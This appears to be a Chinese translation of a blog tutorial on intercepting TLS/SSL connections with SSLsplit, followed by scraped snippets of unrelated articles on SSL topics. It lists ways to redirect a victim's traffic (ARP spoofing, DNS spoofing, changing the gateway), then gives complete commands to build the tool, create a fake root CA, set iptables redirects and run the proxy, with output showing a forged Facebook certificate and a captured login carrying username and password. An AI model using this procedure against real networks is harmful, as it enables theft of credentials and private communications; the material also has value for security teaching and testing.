使用sslsplit嗅探tls/ssl连接

我最近演示了如何使用mitmproxty执行中间人攻击HTTP(S)连接。当mitmproxy工作支持基于HTTP的通信,它不了解其他基于基于TLS/SSL的流量,比如FTPS,通过SSL的SMTP,通过SSL的IMAP或者其他一些覆盖TLS/SSL的协议。

SSLsplit是一般的通过所有安全通信协议来进行中间人攻击TLS/SSL代理。使用SSLsplit可以拦截保存基于SSL流量,从而监听任何安全连接。

1、工作原理

SSLsplit和其他SSL代理工具十分相似:它可以作为客户端和服务器之间的中间人。只要流量被重定向到SSLsplit运行(更改默认网关、ARP欺骗或其他手段)的服务器,SSLsplit开始进行SSL连接并假装是客户端连接到的服务器。要做到这一点,它会动态声称一个证书,使用CA证书的私钥(客户端信任的)签名。

举个例子,如果一个客户想要使用Gmail SMTP服务器发一封email(smtp.gmai.com 端口为465,SSLsplit创建了一个证书,然后假装成Gmail的mail服务器指向客户端。在上行方向(指向真正的Gmil服务器),SSLsplit连接到客户端,很像衣蛾普通的客户端——转发所有的实际客户端写的流量。

如果你对细节有兴趣,请查看如何工作部分的博客,关于HTTP截获与mitmproxy。其基本概念是相同的,所以比较容易理解。

2、安装运行SSLsplit

如何拦截SSL(和非SSL)流量。

2.1 流量重定向

2.1.1 使用ARP欺骗通过发布到攻击者的IP地址,从标准的网关的MAC地址映射虚假重定向受害者的流量。你并不需要物理访问受害者。查看arpspoof工具。

2.1.2 修改受害者的默认网关。

2.1.3 最简单的方法是有机会接触到受害人的设备。

2.1.4 加强DSN和可以反悔攻击者IP地址的DNS服务器入口。看关于DNS spoofing的教程。

2.1.5 通过修改/etc/hosts文件重定向每个域。

上面提到的最简单的方法就是改变受害者的默认网关地址,将其改为攻击者的IP。确保流量通过你的机器。因为我们之后需要安装CA证书,我们需要物理访问受害者的机器。

2.2 安装

下载并编译SSLsplit


1

2

3

4

5

6

7

wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2

bunzip2 sslsplit-0.4.7.tar.bz2  

tar xvf sslsplit-0.4.7.tar

cd sslsplit-0.4.7

apt-get install libssl-dev libevent-dev

make

mkdir /tmp/sslsplit

2.3 创建并安装根CA证书

为了让SSLsopit可以充当中间人,它受害者必须信任存储攻击者的根CA证书。根据客户端(浏览器、电话)的类型,根证书还是有些不同的

生成一个CA私钥和证书:


1

2

openssl genrsa -out ca.key 4096

openssl req -new -x509 -days 1826 -key ca.key -out ca.crt

2.4 启用IP转发和NAT引擎(iptables)

在这个例子里,SSLsplit将在两个端口上运行:8080 用在非SSL TCP连接,比如HTTP,SMTP或者TFP;8443用于SSL连接,比如通过SSL的SMTP,HTTPS等。未来装法到达攻击者机器的包到这些内部端口,NAT引擎可以被使用。


1

2

3

4

5

6

7

8

9

sysctl -w net.ipv4.ip_forward=1

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

2.5 运行SSLsplit

一旦IP转发非常活跃,数据包被转发到相关端口,你就可以开始SSLsplit。这些听起来很简单,事实也是如此。因为SSLsplit是一个非常强大的工具,因此非常灵活。可以查看更详细的SSLsplit手册来查看更多信息。

合理的参数配置:


1

2

3

4

5

6

7

8

9

./sslsplit 

  -D 

  -l connections.log 

  -j /tmp/sslsplit/ 

  -S logdir/ 

  -k ca.key 

  -c ca.cer 

   ssl 0.0.0.0 8443 

   tcp 0.0.0.0 8080

此命令在调试模式下启动SSLsplit (-D,在前台运行,后台没有,详细输出),输出城市连接在日志文件”connections.log”(-l...)。真正的连接内容被写在”/tmp/sslsplit/logdir/“(-j...和-S..)每个单独文件中的每个连接的传入/传出TCP流。

假设你的配置正确,那现在就可以开始浏览和发送/接收电子邮件了。SSLsplit在控制台上输出连接的详细信息:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

[email protected]:~/sslsplit-0.4.7# ./sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

Generated RSA key for leaf certs.

SSLsplit 0.4.7 (built 2013-07-15)

Copyright (c) 2009-2013, Daniel Roethlisberger <[email protected]>

http://www.roe.ch/SSLsplit

Features: -DDISABLE_SSLV2_SESSION_CACHE -DHAVE_NETFILTER

NAT engines: netfilter* tproxy

netfilter:  IP_TRANSPARENT SOL_IPV6 !IPV6_ORIGINAL_DST

compiled against OpenSSL 1.0.1c 10 May 2012 (1000103f)

rtlinked against OpenSSL 1.0.1c 10 May 2012 (1000103f)

TLS Server Name Indication (SNI) supported

OpenSSL is thread-safe with THREADID

SSL/TLS algorithm availability: RSA DSA ECDSA DH ECDH EC

OpenSSL option availability: SSL_OP_NO_COMPRESSION SSL_OP_NO_TICKET SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION SSL_OP_TLS_ROLLBACK_BUG

compiled against libevent 2.0.19-stable

rtlinked against libevent 2.0.19-stable

4 CPU cores detected

proxyspecs:

- [0.0.0.0]:8080 tcp plain netfilter

- [0.0.0.0]:8443 ssl plain netfilter

Loaded CA: ‘/C=DE/ST=HE/O=Fake CA Certificate/CN=Fake CA Certificate‘

Using libevent backend ‘epoll‘

Event base supports: edge yes, O(1) yes, anyfd no

Inserted events:

  0x94b380 [fd 7] Read Persist

  0x94ba40 [fd 8] Read Persist

  0x94d4c0 [fd 9] Read Persist

  0x94b1b8 [fd 6] Read Persist

  0x94d550 [fd 3] Signal Persist

  0x94d7b0 [fd 1] Signal Persist

  0x94d920 [fd 2] Signal Persist

  0x94da90 [fd 13] Signal Persist

Started 8 connection handling threads

Starting main event loop.

SNI peek: [www.facebook.com] [complete]

Connecting to [31.13.81.33]:443

===> Original server certificate:

Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com

Common Names: *.facebook.com/*.facebook.com/facebook.com

Fingerprint: f5:6b:f2:44:63:b0:bd:61:36:c5:e8:72:34:6b:32:04:28:ff:4d:7c

Certificate cache: MISS

===> Forged server certificate:

Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com

Common Names: *.facebook.com/*.facebook.com/facebook.com

Fingerprint: 54:de:df:bb:30:95:36:57:c9:11:8d:5f:1f:b6:53:cc:0e:12:e5:b3

ssl [192.168.178.20]:39447 [31.13.81.33]:443 sni:www.facebook.com crt:*.facebook.com/*.facebook.com/facebook.com origcrt:*.facebook.com/*.facebook.com/facebook.com

每个文件指示TCP socket可以被打开,显示确切的时间、源和目的IP地址和端口。你可以在文件头中看到:


1

2

3

4

5

6

7

8

9

10

[email protected]:/tmp/sslsplit/logdir# head 20130804T162258Z-[192.168.178.20]:39327-[31.13.81.33]:443.log 

GET / HTTP/1.1

Host: www.facebook.com

Connection: keep-alive

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8

Cookie: …

3、示例

你可以使用SSLsplit监听不同的协议。下面是HTTPS,通过SSL的IMAP和通过SSL的SMTP几个例子。

3.1 嗅探HTTPS(google.de & facebook.com)

一旦SSLsplit开始运行,在客户端和实际服务器之间的所有通信都通过SSLsplit。使用-d选项,SSLsplit 打印出连接和证书伪造在STDOUT。除此之外,内容被logdir(”/tmp/sslsplit/logdir”)中。使用  tail -f /tmp/sslsplit/loggdir/20130804T162301Z-*.log,你可以follow客户端和服务器之间的通信。

上面的截图中显示了SSLsplit的输出。这表明上游的Facebook证书是真的,通过SSLsplit伪造证书,两个指纹不同,因为它是由不同的证书颁发机构签署。

较低的控制台显示了HTTPS通信的内容。该截图显示了HTTPS POST请求“https://www.facebook.com/login.php?login_attempt=1”,包括我的用户名(&email=)和密码(&pass=)。

如果一个人点击小锁图片上的任何SSL/TLS加密网站,同时通过SSLsplit将流量重定向,该证书发放给真正的CN,组织(O),和组织单位(OU),但不通过真正的CA颁发。

其他例子可以查看http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/

以上是原文

下图是我的测试成功图片

时间: 2024-08-07 02:49:42

使用sslsplit嗅探tls/ssl连接的相关文章

TLS,SSL,HTTPS with Python(转)

需要了解的背景知识: 术语 HTTPS,SSL,TLS 长连接与短连接的关系 了解 CA 证书 基本流程 一.术语扫盲 1.什么是SSL? SSL(Secure Sockets Layer, 安全套接字),因为原先互联网上使用的 HTTP 协议是明文的,存在很多缺点——比如传输内容会被偷窥(嗅探)和篡改.发明 SSL 协议,就是为了解决这些问题. 2.那么什么是TLS呢? 到了1999年,SSL 因为应用广泛,已经成为互联网上的事实标准.IETF 就在那年把 SSL 标准化.标准化之后的名称改为

利用openssl实现私有CA以及mysql服务器的ssl连接的配置

利用openssl实现私有CA以及mysql服务器的ssl连接的配置 一.CA简介 CA 也拥有一个证书(内含公钥和私钥).网上的公众用户通过验证 CA 的签字从而信任 CA ,任何人都可以得到 CA 的证书(含公钥),用以验证它所签发的证书. 如果用户想得到一份属于自己的证书,他应先向 CA 提出申请.在 CA 判明申请者的身份后,便为他分配一个公钥,并且 CA 将该公钥与申请者的身份信息绑在一起,并为之签字后,便形成证书发给申请者. 如果一个用户想鉴别另一个证书的真伪,他就用 CA 的公钥对

ECMall如何支持SSL连接邮件服务器的配置

首先,主要是ecmall使用的phpmailer版本太低,不支持加密连接. 然后,得对相应代码做一定调整. 1. 覆盖phpmailer 请从附件进行下载: http://files.cnblogs.com/x3d/ecmall_phpmailer_lib.zip 2. 改造lib 涉及到两个lib:mail.lib.php .mail_quequ.lib.php 在这两个类的构造函数中,增加一个参数传递.如Mailer function __construct($from, $email, $

非对称加密,数字签名,公钥私钥,Openssl,https,TLS/SSL等概念说明

本文将通过个人口吻介绍有关公钥私钥,Openssl,https,TLS/SSL等的一些概念及简单配置,在目前时间点(2017年5月7号)下,个人水平有限,存在不少知识理解不够深入,望见谅,后续有新的收获之后将会补充完善该博文. 关于http以及web等基础概念,欢迎看我的另一篇博文:"http,https,www,web等的区别含义" 博文链接地址:http://watchmen.blog.51cto.com/6091957/1922919 本文参考文献引用链接: 1.https://

使用 JSSE 定制 SSL 连接的属性--转载

当数据在网络上传播的时候,通过使用 SSL 对其进行加密和保护,JSSE 为 Java 应用程序提供了安全的通信.在本篇有关该技术的高级研究中,Java 中间件开发人员 Ian Parkinson 深入研究了 JSSE API 较不为人知的方面,为您演示了如何围绕 SSL 的一些限制进行编程.您将学习如何动态地选择 KeyStore 和 TrustStore.放宽 JSSE 的密码匹配要求,以及构建您自己定制的 KeyManager 实现. JSSE(Java 安全套接字扩展,Java Secu

一个实际问题分析及解决之四:通过IBM的JDK建立SSL连接

接前面内容,这里主要谈我们实现一开始描述的实际的技术需求的过程. 我们在建立与服务器的SonicMQ的SSL连接时,用了第三方jar去完成握手,而该第三方包采用的是标准的Java接口方式,即SSLContext.getInstance().这也很容易理解,因为第三方jar的提供方并不能假设用户一定是在websphere环境下使用该第三方jar,所以采用标准方式更为可取. 我们的碰到的最大问题就是该jar在Oracle的jdk上可以工作,而在IBM的jdk都不能工作,出现SSLHandShake

Shiro处理SSL连接

Shiro内置了SslFilter用来处理需要使用SSL连接的请求.对需要使用SSL连接的URL配置SslFilter,那么该请求就会变为"https"协议. 生成公钥和私钥 首先,在命令行中输入"keytool –genkey"将自动使用默认的算法生成公钥和私钥,并以交互方式获得公钥持有者的信息.其交互过程如下 : D:>keytool -genkey -keystore "D:\mykey.keystore" -alias localh

Liunx 部署邮件TLS/SSL加密通信服务

部署邮件TLS/SSL加密通信服务 一.部署普通邮件服务器 1) 搭建并检测邮件服务的发送服务 [[email protected] ~]# rpm -q postfix postfix-2.10.1-6.el7.x86_64 [[email protected] ~]# netstat -pantu | grep :25 tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1822/ma

Security基础(三):OpenSSL及证书服务、邮件TLS/SSL加密通信

一.OpenSSL及证书服务 目标: 本案例要求熟悉OpenSSL工具的基本使用,完成以下任务操作: 使用OpenSSL加密/解密文件 搭建企业自有的CA服务器,为颁发数字证书提供基础环境 方案: 使用两台RHEL7虚拟机,其中svr7作为CA数字证书服务器,而pc207作为测试用客户机. 步骤: 步骤一:使用OpenSSL加密/解密文件 1)加密文件 创建一个明文的文本文件f1.txt,使用openssl进行加密,选用des3加密算法,输出的加密文件为f1.txt.enc . [[email